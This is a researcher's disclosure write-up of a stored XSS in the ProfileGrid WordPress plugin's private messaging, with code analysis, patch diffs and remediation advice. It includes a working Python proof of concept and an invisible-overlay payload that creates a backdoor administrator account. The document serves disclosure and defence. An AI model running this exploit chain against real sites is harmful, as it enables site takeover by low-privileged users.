Skip to content

CVE-2026-4610: ProfileGrid Stored XSS via Private Messages

TL;DR

  • I found an authenticated stored cross-site scripting vulnerability in ProfileGrid, a WordPress user profile and community plugin.
  • Any logged-in Subscriber could send a private message containing raw HTML to any registered user, including an administrator.
  • The message body is stored without sanitisation, and the thread renderer passes it through a custom wp_kses() allowlist that deliberately keeps onclick on <a>, <div>, and <li>.
  • That allowlist also keeps style on <div>, so the payload is an invisible full-viewport overlay that fires on the victim's next click anywhere on the page, not on a specific link.
  • In my testing I chained it into an account takeover, using the admin's own session to create a new administrator account through /wp-admin/user-new.php.
  • The issue affects ProfileGrid <= 5.9.9.2, was assigned CVE-2026-4610, and was patched in ProfileGrid 5.9.9.3.

Summary

ProfileGrid was vulnerable to authenticated stored cross-site scripting via the private message body, because the pm_send_message_to_author handler stored raw HTML and the thread renderer allowed onclick and layout-capable style to survive its wp_kses() allowlist.

  • CVE: CVE-2026-4610
  • Product: ProfileGrid - User Profiles, Groups and Communities
  • Active Installs: 6,000+
  • Vulnerability: Authenticated Stored Cross-Site Scripting to Account Takeover
  • Affected Versions: <= 5.9.9.2
  • Fixed In: 5.9.9.3
  • CVSS Severity: 6.4 (medium)
  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
  • Required Privilege: Subscriber+
  • NVD Published: June 23, 2026

ProfileGrid lets users message each other through a private inbox. The send handler took the message body straight from the request and stored it verbatim, and the code that renders a thread relied on a hand-written wp_kses() allowlist to keep things safe. The problem is that the allowlist keeps onclick, so a Subscriber could deliver a click-triggered script to any user's inbox and run it in their session.

Introduction

[A]I reported a few bugs from a single audit of ProfileGrid, including a SQL injection (CVE-2026-4608) and a missing-authorisation issue (CVE-2026-4609). The third submission was a stored XSS in the private messaging flow.

ProfileGrid has two send paths for private messages, and they handle input differently. The regular messenger runs the body through wp_kses_post() before storage. The "message the author" path right next to it does not. I wanted to know what happened when the unsanitised body reached the renderer, and whether a low-privileged user could aim it at someone else's inbox.

Root Cause Analysis

Unsanitised Write Path

The send handler is pm_send_message_to_author() in public/class-profile-magic-public.php. The code below is from 5.9.8.4, the build I tested, and the same logic is present through 5.9.9.2.

public function pm_send_message_to_author() {
    $html_generator  = new PM_HTML_Creator( $this->profile_magic, $this->version );
    $pmrequests      = new PM_request();
    $postid          = filter_input( INPUT_POST, 'post_id' );
    $type            = filter_input( INPUT_POST, 'type' );
    $content         = filter_input( INPUT_POST, 'pm_author_message', FILTER_UNSAFE_RAW ); // [1] Message body read raw, no sanitiser.
    $current_user    = wp_get_current_user();
    $sid             = $current_user->ID;
    $retrieved_nonce = filter_input( INPUT_POST, '_wpnonce' );
    if ( ! wp_verify_nonce( $retrieved_nonce, 'send_pm_message_to_author' ) ) { // [2] Only a nonce gate, no capability check.
        die( esc_html__( 'Failed security check', 'profilegrid-user-profiles-groups-and-communities' ) );
    }
    if ( is_numeric( $postid ) ) {
        if ( $type == 'blog' ) {
            $post = get_post( $postid );
            $rid  = $post->post_author;
        } else {
            $rid = $postid; // [3] post_id is used directly as the recipient user ID.
        }
        $is_msg_sent = $pmrequests->pm_create_message( $sid, $rid, $content ); // [4] Raw content handed straight to storage.

At [1], FILTER_UNSAFE_RAW passes the body through unsanitised. The handler then verifies a nonce at [2] and stops there. There is no current_user_can(), no "is this user allowed to message that recipient" check beyond the messaging preconditions covered later.

The recipient handling is just as loose. When type is not blog, the submitted post_id is treated as the recipient user ID at [3], so post_id=1&type=user targets user 1, which is almost always the administrator.

The still-raw body is then handed straight to storage at [4]. pm_create_message() in includes/class-profile-magic-request.php writes the row:

public function pm_create_message( $sid, $rid, $content, $tid = '' ) {
    // ... capability and thread setup ...
    $data = array(
        's_id'      => $sid,
        't_id'      => $tid,
        'content'   => $content, // [5] Stored verbatim, no wp_kses / sanitize_text_field.
        'status'    => $status,
        'timestamp' => current_time( 'mysql', true ),
    );
    $mid = $dbhandler->insert_row( $identifier, $data );
}

At [5] the content goes into the MSG_CONVERSATION table exactly as it arrived. So whatever HTML the Subscriber typed is now sitting in the recipient's inbox.

For contrast, the regular messenger send path does the safe thing at write time:

// public/class-profile-magic-public.php (pm_messenger_send_new_message)
$content = wp_kses_post( $post['content'] ); // [6] Sibling send path sanitises on the way in.

The plugin already knows the pattern at [6]. The author-message path just does not use it.

Nonce Harvest Path

The send handler is gated by a send_pm_message_to_author nonce, so the next question is.. can a Subscriber get that nonce?

Yes, through the same popup endpoint that CVE-2026-4609 abused. pm_edit_group_popup_html verifies the site-wide ProfileGrid AJAX nonce, then dispatches by tab. The only capability check in the whole handler guards the blog admin-note operations. The member branch has nothing equivalent:

// public/class-profile-magic-public.php (pm_edit_group_popup_html)
if ( $tab == 'blog' && in_array( $type, array( 'add_admin_note', 'edit_admin_note', 'delete_admin_note', 'add_admin_note_bulk' ), true ) ) {
    // ... wp_die( 'Unauthorized' ) unless current_user_can( 'manage_options' ), is_super_admin(), or group leader ...
}
if ( $tab == 'blog' ) {
    $html_generator->pg_blog_popup_html_generator( $type, $id, $gid );
}
if ( $tab == 'member' ) {
    $html_generator->pg_member_popup_html_generator( $type, $id, $gid ); // [7] Member popup dispatched with no capability check.
}

The blog admin-note path wp_die()s anyone who is not an admin, super admin, or group leader. The member dispatch at [7] runs no such check, so any logged-in user who already holds the site-wide AJAX nonce reaches it. With type=message it routes to send_message_to_author_popup(), which renders the compose popup and emits a fresh _wpnonce for the send_pm_message_to_author action. A Subscriber loads any ProfileGrid page for the AJAX nonce, then calls pm_edit_group_popup_html to mint the message nonce.

Permissive Render Path

When the recipient opens the thread, pm_messenger_show_messages() in includes/class-profile-magic-chat-system.php builds the HTML:

$last_message = nl2br( $message->content ); // [8] Message content read back, only nl2br applied.
// ... pending-approval handling, avatar, username ...
$return .= '<div class="pg-message-box pm-border">
  ' . stripslashes( $last_message ) . '
</div>'; // [9] Raw message concatenated into the HTML buffer, no escaping.

The stored content gets nl2br() at [8] and is then concatenated into the buffer through stripslashes() at [9]. Neither escapes anything, unlike the thread-list preview down the side, which strips the body with wp_strip_all_tags(). The buffer is finally echoed through wp_kses() in pg_show_thread_message_panel():

$allowed_html = $pmrequests->pg_allowed_html_wp_kses();
echo wp_kses( $this->pm_messenger_show_messages( $tid, 1, 0, $search ), $allowed_html ); // [10] The custom allowlist decides what survives.

So the only thing standing between the stored payload and the DOM is the allowlist at [10]. pg_allowed_html_wp_kses() in includes/class-profile-magic-request.php keeps exactly the attributes an attacker wants:

'a'   => array(
    'href'    => array(),
    'target'  => array(),
    'class'   => array(),
    'id'      => array(),
    'onclick' => array(), // [11] onclick allowed on <a>.
    'data-*'  => true,
),
'div' => array(
    'id'          => array(),
    'title'       => array(),
    'class'       => array(),
    'style'       => array(), // [12] style allowed on <div>.
    'aria-hidden' => array(),
    'onclick'     => array(), // [13] onclick allowed on <div>.
    'data-*'      => true,
),
'li'  => array(
    'onclick' => array(), // [14] onclick allowed on <li>.
),

onclick survives at [11], [13], and [14], which is enough for script execution on its own. The style attribute at [12] is what turns it into a trap. The value still has to pass WordPress core's safecss_filter_attr(), but that filter allows position, top, left, width, height, z-index, and opacity, every property needed for an invisible full-viewport overlay.

This is worse than a textbook reflected XSS. The victim does not have to click a specific link, because the overlay turns their next click anywhere on the page into the trigger.

Impact

An authenticated Subscriber could:

  • Store arbitrary HTML, including a script-bearing onclick, in any registered user's message inbox, including an administrator's, by aiming post_id at the target user ID.
  • Have that payload execute in the victim's authenticated session the next time they open the thread and click anywhere on the page.
  • Escalate to a new administrator account by using fetch() against /wp-admin/user-new.php to read the _wpnonce_create-user token and post a new admin user, all inside the victim admin's session.

Beyond the demonstrated account creation, the same fetch() primitive reaches anything the victim's role allows in the admin area, such as reading admin-only pages or changing settings.

Exploitation

Preconditions

  • The attacker has a Subscriber-level WordPress account.
  • ProfileGrid is active and renders its frontend AJAX nonce on at least one page.
  • The attacker knows the target user ID. User 1 is almost always the administrator, and IDs are enumerable from the REST endpoint /wp-json/wp/v2/users.
  • A valid group ID is available for the nonce popup. 1 is a safe default and group IDs are visible in the DOM of any group listing.
  • pm_enable_private_profile is not set to 1 (the default). If private profiles are enforced globally, pg_check_user_can_send_message() blocks delivery.
  • The recipient's profile privacy is not set to private (the default for a fresh admin account).

Manual Request

First, harvest a send_pm_message_to_author nonce from the member popup:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.example
Cookie: wordpress_logged_in_...=<subscriber session>
Content-Type: application/x-www-form-urlencoded

action=pm_edit_group_popup_html&nonce=<ajax-nonce>&tab=member&type=message&id=1&gid=1

The response is the compose popup HTML, which includes the nonce:

<input type="hidden" name="_wpnonce" value="<send_pm_message_to_author_nonce>" />

Then store the payload, aiming post_id at the admin's user ID:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.example
Cookie: wordpress_logged_in_...=<subscriber session>
Content-Type: application/x-www-form-urlencoded

action=pm_send_message_to_author&_wpnonce=<send_pm_message_to_author_nonce>&post_id=1&type=user&pm_author_message=<PAYLOAD>

A successful store returns 0. The message is now in user 1's inbox.

PoC

The full ATO payload is an invisible overlay with a fetch() chain in the onclick. On the victim's first click it reads the new-user nonce from /wp-admin/user-new.php and posts a new administrator account:

<div
    style="position:fixed;top:0;left:0;width:100%;height:100%;z-index:2147483647;opacity:0;cursor:default"
    onclick="(function(){
       fetch('/wp-admin/user-new.php').then(function(r){return r.text()}).then(function(h){
         var d=new DOMParser().parseFromString(h,'text/html');
         var n=d.getElementById('_wpnonce_create-user');
         if(!n){return;}
         var f=new FormData();
         f.append('action','createuser');
         f.append('_wpnonce_create-user',n.value);
         f.append('user_login','crypto');
         f.append('email','ekek@meow.lol');
         f.append('pass1','cat');
         f.append('pass2','cat');
         f.append('role','administrator');
         f.append('noconfirmation','1');
         fetch('/wp-admin/user-new.php',{method:'POST',body:f});
       });
     })()"
>
    .
</div>

The renderer runs stripslashes() on stored messages, so the payload avoids backslashes entirely and uses DOMParser instead of regex to read the nonce.

The PoC below automates the full chain. Pass --demo to swap in a harmless alert(document.domain) instead.

#!/usr/bin/env python3
"""
ProfileGrid <= 5.9.9.2 - Authenticated Stored XSS via pm_send_message_to_author (CVE-2026-4610)
Tested on 5.9.8.4. Harvests the message nonce, stores an onclick-overlay payload in the
target user's inbox (default: admin), and fires in their session on the next click.
"""

import argparse
import re
import sys
import requests


def get_args():
    p = argparse.ArgumentParser(description="ProfileGrid Stored XSS PoC - pm_send_message_to_author")
    p.add_argument("--url",            required=True, help="WordPress site root URL")
    p.add_argument("--username",       required=True, help="Attacker subscriber username")
    p.add_argument("--password",       required=True, help="Attacker subscriber password")
    p.add_argument("--target-uid",     default="1",   help="Recipient user ID (default: 1 = admin)")
    p.add_argument("--gid",            default="1",   help="Any valid group ID (needed for the nonce popup)")
    p.add_argument("--nonce-page",     default=None,  help="Page with ProfileGrid scripts (overrides auto-detect)")
    p.add_argument("--demo",           action="store_true", help="Swap the admin-creation chain for a harmless alert(document.domain)")
    p.add_argument("--backdoor-user",  default="crypto",        help="Backdoor admin login")
    p.add_argument("--backdoor-pass",  default="cat",           help="Backdoor admin password")
    p.add_argument("--backdoor-email", default="ekek@meow.lol", help="Backdoor admin email")
    return p.parse_args()


def login(session, url, username, password):
    login_url = url.rstrip("/") + "/wp-login.php"
    session.get(login_url)
    session.post(login_url, data={
        "log":        username,
        "pwd":        password,
        "wp-submit":  "Log In",
        "testcookie": "1",
    }, allow_redirects=False)
    if not any(c.name.startswith("wordpress_logged_in") for c in session.cookies):
        sys.exit("[-] Login failed. Check credentials.")
    print(f"[+] Logged in as {username}")


def get_ajax_nonce(session, url, nonce_page=None):
    base = url.rstrip("/")
    candidates = []
    if nonce_page:
        candidates.append(nonce_page if nonce_page.startswith("http") else base + "/" + nonce_page.lstrip("/"))
    slugs = ["/", "/sample-page/", "/?p=1", "/profile/", "/groups/", "/members/", "/community/"]
    candidates += [base + s for s in slugs]

    for page_url in candidates:
        try:
            r = session.get(page_url, timeout=10)
        except requests.RequestException:
            continue
        m = re.search(r'"nonce"\s*:\s*"([a-f0-9]+)"', r.text)
        if m:
            print(f"[+] Got ajax-nonce: {m.group(1)}  (from {page_url})")
            return m.group(1)

    sys.exit("[-] Could not find pm_ajax_object.nonce automatically. Pass --nonce-page.")


def harvest_msg_nonce(session, url, ajax_nonce, target_uid, gid):
    ajax_url = url.rstrip("/") + "/wp-admin/admin-ajax.php"
    r = session.post(ajax_url, data={
        "action": "pm_edit_group_popup_html",
        "nonce":  ajax_nonce,
        "tab":    "member",
        "type":   "message",   # routes to the author-message compose popup
        "id":     target_uid,
        "gid":    gid,
    })
    print(f"[*] Step 1 - pm_edit_group_popup_html  HTTP {r.status_code}")

    m = (
        re.search(r'<input[^>]+name=["\']_wpnonce["\'][^>]*value=["\']([a-f0-9]+)["\']', r.text)
        or re.search(r'<input[^>]+value=["\']([a-f0-9]+)["\'][^>]*name=["\']_wpnonce["\']', r.text)
    )
    if m:
        print(f"[+] Harvested send_pm_message_to_author nonce: {m.group(1)}")
        return m.group(1)

    print("[-] Could not parse nonce from popup response.")
    return None


def build_payload(site, login, passwd, email):
    site = site.rstrip("/")
    js = (
        "(function(){{"
        "fetch('{site}/wp-admin/user-new.php')"
        ".then(function(r){{return r.text()}})"
        ".then(function(h){{"
        "var d=new DOMParser().parseFromString(h,'text/html');"
        "var n=d.getElementById('_wpnonce_create-user');"
        "if(!n){{return;}}"
        "var f=new FormData();"
        "f.append('action','createuser');"
        "f.append('_wpnonce_create-user',n.value);"
        "f.append('user_login','{login}');"
        "f.append('email','{email}');"
        "f.append('pass1','{passwd}');"
        "f.append('pass2','{passwd}');"
        "f.append('role','administrator');"
        "f.append('noconfirmation','1');"
        "fetch('{site}/wp-admin/user-new.php',{{method:'POST',body:f}});"
        "}});"
        "}})();"
    ).format(site=site, login=login, email=email, passwd=passwd)

    return (
        '<div style="position:fixed;top:0;left:0;width:100%;height:100%;'
        'z-index:2147483647;opacity:0;cursor:default" '
        f'onclick="{js}">.</div>'
    )


def store_xss(session, url, msg_nonce, target_uid, payload):
    ajax_url = url.rstrip("/") + "/wp-admin/admin-ajax.php"
    r = session.post(ajax_url, data={
        "action":            "pm_send_message_to_author",
        "_wpnonce":          msg_nonce,
        "post_id":           target_uid,   # used as the recipient UID when type != 'blog'
        "type":              "user",
        "pm_author_message": payload,
    })
    print(f"[*] Step 2 - pm_send_message_to_author  HTTP {r.status_code}  (response: {r.text[:40]!r})")
    if "Failed security check" in r.text:
        sys.exit("[-] Nonce rejected. Re-run to harvest a fresh nonce.")
    print(f"[+] Payload stored in UID {target_uid}'s inbox.")
    print("    The overlay fires on the victim's next click after they open the thread.")


def main():
    args = get_args()
    session = requests.Session()
    session.headers["User-Agent"] = "Mozilla/5.0"

    login(session, args.url, args.username, args.password)
    ajax_nonce = get_ajax_nonce(session, args.url, args.nonce_page)
    msg_nonce = harvest_msg_nonce(session, args.url, ajax_nonce, args.target_uid, args.gid)
    if msg_nonce is None:
        sys.exit(1)

    if args.demo:
        payload = ('<div style="position:fixed;top:0;left:0;width:100%;height:100%;'
                   'z-index:2147483647;opacity:0;cursor:default" onclick="alert(document.domain)">.</div>')
        print("[*] Demo mode: alert(document.domain) payload")
    else:
        payload = build_payload(args.url, args.backdoor_user, args.backdoor_pass, args.backdoor_email)

    print(f"[*] Payload length: {len(payload)} bytes")
    store_xss(session, args.url, msg_nonce, args.target_uid, payload)


if __name__ == "__main__":
    main()

Running it against a local instance:

python3 profilegrid-msg-author-xss.py \
  --url http://localhost:8080 \
  --username subscriber \
  --password 'password123' \
  --target-uid 1 \
  --gid 1
[+] Logged in as subscriber
[+] Got ajax-nonce: 5cdc745627  (from http://localhost:8080/)
[*] Step 1 - pm_edit_group_popup_html  HTTP 200
[+] Harvested send_pm_message_to_author nonce: 3a8f12c9d4
[*] Payload length: 682 bytes
[*] Step 2 - pm_send_message_to_author  HTTP 200  (response: '0')
[+] Payload stored in UID 1's inbox.
    The overlay fires on the victim's next click after they open the thread.

Demo

From the admin's side there is almost nothing to see. ProfileGrid pops the usual unread-message toast, and opening the thread renders the message as an empty bubble, because the overlay <div> has opacity:0 and only a single . for text:

The administrator's ProfileGrid Messages tab showing the stored payload as an empty message bubble, with a "You have 1 unread message" toast in the corner. The onclick overlay is present but invisible

In demo mode the PoC stores a simple alert(document.domain) payload. The admin's next click anywhere on the page fires it, here showing localhost:

alert showing document.domain as localhost, firing in the administrator's session after they open the poisoned thread and click the page

Patch Diffing

A partial patch landed in 5.9.8.5 but did not fully resolve the vulnerability. The complete fix shipped in ProfileGrid 5.9.9.3 and is entirely on the output side. Unrelated hunks from the same release are omitted here.

The first change removes onclick from the allowlist in pg_allowed_html_wp_kses(). The style attribute stays on <div>, so the overlay CSS itself still passes, but with no onclick there is nothing to fire:

 'a'   => array(
     'href'    => array(),
     'target'  => array(),
     'class'   => array(),
     'id'      => array(),
-    'onclick' => array(),
     'data-*'  => true,
 ),
 'div' => array(
     'id'          => array(),
     'title'       => array(),
     'class'       => array(),
     'style'       => array(),
     'aria-hidden' => array(),
-    'onclick'     => array(),
     'data-*'      => true,
 ),
 'li'  => array(
-    'onclick' => array(),
+    'class'   => array(),
+    'data-*'  => true,
 ),

The second change hardens the renderer. pm_messenger_show_messages() no longer concatenates the raw message. It runs the content through a new helper that strips dangerous markup with wp_kses_post():

-$last_message = nl2br( $message->content );
+$last_message = $this->pg_sanitize_message_display_markup( $message->content );
 // ...
-<div class="pg-message-box pm-border">
-  ' . stripslashes( $last_message ) . '
-</div>
+<div class="pg-message-box pm-border">
+  ' . $last_message . '
+</div>
private function pg_sanitize_message_display_markup( $value ) {
    return wp_kses_post( wp_unslash( $this->pg_normalize_thread_markup_value( $value ) ) );
}

wp_kses_post() does not keep onclick on any tag, so even a payload already stored in the database before the update is neutralised at render time. That is a sensible choice, since the allowlist change alone would not clean up old rows.

The plugin's own message actions used to rely on the allowlist keeping onclick, for example <li onclick="pg_msg_edit(...)">. The patch migrates those to data attributes so the allowlist no longer needs the handler at all:

-<li onclick="pg_msg_edit(' . $message->m_id . ')">Edit</li>
-<li onclick="pg_msg_delete(' . $message->m_id . ')">Delete</li>
+<li><button type="button" class="pg-message-edit" data-mid="' . $message->m_id . '">Edit</button></li>
+<li><button type="button" class="pg-message-delete" data-mid="' . $message->m_id . '">Delete</button></li>

One thing the patch does not change is the write path. pm_send_message_to_author() still reads the body with filter_input( INPUT_POST, 'pm_author_message', FILTER_UNSAFE_RAW ) and pm_create_message() still stores it verbatim. The vendor chose to fix the sink rather than the source, which is fine for this vuln because the rendering layer is now the single chokepoint, but it does mean the raw payload still lands in the database.

Remediation

Site owners should update ProfileGrid to version 5.9.9.3 or later.

Sites that ran a vulnerable version should also treat the messages table as suspect. The update does not remove stored payloads. It only neutralises them on display, so it is worth auditing wp_pm_msg_conversations for onclick or style content.

Disclosure Timeline

  • March 19, 2026: Submitted to the Wordfence bug bounty program.
  • March 23, 2026: Triaged and validated.
  • March 31, 2026: $37 bounty awarded.
  • May 20, 2026: ProfileGrid 5.9.9.3 released, hardening private message output handling.
  • June 23, 2026: Published by Wordfence as CVE-2026-4610.

Conclusion

The write path stored raw HTML and the render path relied on a custom allowlist that kept onclick. Neither was safe on its own, and together they gave a Subscriber stored script execution in any user's inbox.

A custom wp_kses() allowlist that keeps event handlers undoes the protection that WordPress core would otherwise provide, so it is worth auditing any hand-rolled allowlist for attributes like onclick that re-enable script execution.

References